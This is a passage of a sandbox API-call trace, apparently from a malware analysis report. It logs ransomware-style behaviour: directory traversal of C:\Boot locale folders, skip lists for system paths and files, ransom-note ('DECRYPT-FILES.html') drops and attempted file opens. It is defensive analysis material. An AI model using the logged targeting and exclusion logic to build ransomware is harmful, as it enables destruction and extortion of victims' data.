dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ced8 [0057.635] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.635] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88866390, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88866390, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.635] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.635] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.635] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.635] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0057.635] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0057.636] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.636] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0057.636] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0057.636] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\cs-CZ\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0057.636] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0057.636] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.636] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.636] CloseHandle (hObject=0x0) returned 0 [0057.636] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.637] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88866390, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88866390, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88866390, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.637] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.637] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88866390, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88866390, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88866390, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0057.637] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0057.637] lstrlenW (lpString="C:\\Boot\\cs-CZ\\") returned 14 [0057.637] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.637] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\cs-CZ\\" | out: lpString1="C:\\Boot\\cs-CZ\\") returned="C:\\Boot\\cs-CZ\\" [0057.637] lstrcatW (in: lpString1="C:\\Boot\\cs-CZ\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\cs-CZ\\wevkgn5.dat") returned="C:\\Boot\\cs-CZ\\wevkgn5.dat" [0057.637] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.638] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\wevkgn5.dat" (normalized: "c:\\boot\\cs-cz\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.638] CloseHandle (hObject=0x0) returned 0 [0057.638] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.638] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88866390, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88866390, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88866390, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0057.638] FindClose (in: hFindFile=0x66ced8 | out: hFindFile=0x66ced8) returned 1 [0057.638] CloseHandle (hObject=0x280) returned 1 [0057.639] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0057.639] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0057.639] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0057.639] lstrcatW (in: lpString1="da-DK", lpString2="\\" | out: lpString1="da-DK\\") returned="da-DK\\" [0057.639] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch=":\\Windows") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\Program Files") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\Games\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.639] StrStrW (lpFirst="C:\\Boot\\da-DK\\", lpSrch="\\All Users") returned 0x0 [0057.639] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0057.639] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.639] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK\\\\wevkgn5.dat") returned 26 [0057.639] CreateFileW (lpFileName="C:\\Boot\\da-DK\\\\wevkgn5.dat" (normalized: "c:\\boot\\da-dk\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.640] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0057.640] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.640] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\da-DK\\\\DECRYPT-FILES.html") returned 33 [0057.640] CreateFileW (lpFileName="C:\\Boot\\da-DK\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\da-dk\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0057.648] WriteFile (in: hFile=0x290, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0057.649] CloseHandle (hObject=0x290) returned 1 [0057.649] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0057.649] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0057.649] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8888c4f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8888c4f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ced8 [0057.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.649] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8888c4f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8888c4f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.650] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.650] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.650] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0057.650] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.650] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0057.650] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0057.650] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\da-DK\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0057.650] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0057.650] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.651] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.673] CloseHandle (hObject=0x0) returned 0 [0057.674] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.674] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8888c4f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8888c4f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8888c4f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.674] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.674] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8888c4f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8888c4f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8888c4f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0057.674] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0057.674] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0057.674] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.674] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\da-DK\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0057.674] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\da-DK\\wevkgn5.dat") returned="C:\\Boot\\da-DK\\wevkgn5.dat" [0057.674] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.675] CreateFileW (lpFileName="C:\\Boot\\da-DK\\wevkgn5.dat" (normalized: "c:\\boot\\da-dk\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.675] CloseHandle (hObject=0x0) returned 0 [0057.675] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.675] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8888c4f0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8888c4f0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8888c4f0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0057.675] FindClose (in: hFindFile=0x66ced8 | out: hFindFile=0x66ced8) returned 1 [0057.675] CloseHandle (hObject=0x280) returned 1 [0057.676] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0057.676] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0057.676] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0057.676] lstrcatW (in: lpString1="de-DE", lpString2="\\" | out: lpString1="de-DE\\") returned="de-DE\\" [0057.676] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch=":\\Windows") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\Program Files") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\Games\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.676] StrStrW (lpFirst="C:\\Boot\\de-DE\\", lpSrch="\\All Users") returned 0x0 [0057.676] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0057.676] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.676] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE\\\\wevkgn5.dat") returned 26 [0057.676] CreateFileW (lpFileName="C:\\Boot\\de-DE\\\\wevkgn5.dat" (normalized: "c:\\boot\\de-de\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.677] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0057.677] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.677] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\de-DE\\\\DECRYPT-FILES.html") returned 33 [0057.677] CreateFileW (lpFileName="C:\\Boot\\de-DE\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\de-de\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0057.875] WriteFile (in: hFile=0x2c4, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0057.876] CloseHandle (hObject=0x2c4) returned 1 [0057.877] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0057.877] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0057.877] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ced8 [0057.877] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.877] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.877] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.877] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.877] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0057.877] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.877] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0057.878] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0057.878] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\de-DE\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0057.878] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0057.878] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.878] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.878] CloseHandle (hObject=0x0) returned 0 [0057.878] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.878] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8894abd0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.878] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.879] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888d87b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x888d87b0, 